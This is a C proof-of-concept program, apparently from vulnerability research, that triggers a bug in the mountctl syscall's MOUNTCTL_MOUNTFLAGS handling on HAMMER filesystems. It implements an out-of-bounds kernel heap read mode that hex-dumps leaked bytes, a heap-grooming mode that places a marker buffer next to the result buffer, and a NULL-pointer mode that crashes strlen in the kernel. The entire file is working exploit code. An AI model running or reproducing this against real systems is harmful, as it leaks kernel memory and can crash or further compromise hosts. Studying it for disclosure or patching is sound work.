DF-5808 / mctl2.c
/* * DF-5808 trigger v2: mountctl(MOUNTCTL_MOUNTFLAGS) on HAMMER(1). * - leak mode: buflen tuned so 2*part1 > buflen+1 -> OOB heap read * - groom mode: ctllen>0 supplies an M_TEMP kmalloc'd+copyin'd marker * buffer allocated adjacent to the result buffer * - null mode: buflen=0 -> buf stays NULL -> vfs_flagstostr strlen(NULL) */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #include <sys/syscall.h> #ifndef SYS_mountctl #define SYS_mountctl 468 #endif #define MOUNTCTL_MOUNTFLAGS 18 int main(int argc, char **argv) { const char *path; int buflen, runs = 1, ctllen = 0, i, j; char *out, *ctl = NULL; if (argc < 3) { fprintf(stderr, "usage: %s <path> <buflen> [runs] [ctllen]\n", argv[0]); return 1; } path = argv[1]; buflen = atoi(argv[2]); if (argc > 3) runs = atoi(argv[3]); if (argc > 4) ctllen = atoi(argv[4]); out = calloc(65536 + 16, 1); if (!out) return 1; if (ctllen > 0 && ctllen <= 1024) { ctl = malloc(ctllen); for (i = 0; i < ctllen; i++) ctl[i] = "AaBbCcDdEeFfGgHh"[i & 15]; } for (i = 0; i < runs; i++) { long ret; void *bufp = (buflen == 0) ? NULL : out; memset(out, 0, 65536 + 16); errno = 0; ret = syscall(SYS_mountctl, path, MOUNTCTL_MOUNTFLAGS, -1, ctl, ctllen, bufp, buflen); if (ret < 0) { printf("run %d: errno=%d (%s)\n", i, errno, strerror(errno)); continue; } printf("run %d: ret=%ld buflen=%d ctllen=%d strlen=%zu\n", i, ret, buflen, ctllen, strlen(out)); if (ret > buflen && buflen > 0) { printf(" *** ret(%ld) > buflen(%d): %ld bytes OOB\n", ret, buflen, (long)ret - buflen); for (j = 80; j < ret; j += 16) { int k; printf(" %04x: ", j); for (k = 0; k < 16 && j + k < ret; k++) printf("%02x ", (unsigned char)out[j + k]); printf(" |"); for (k = 0; k < 16 && j + k < ret; k++) { unsigned char c = out[j + k]; putchar((c >= 32 && c < 127) ? c : '.'); } printf("|\n"); } } } free(out); return 0; } |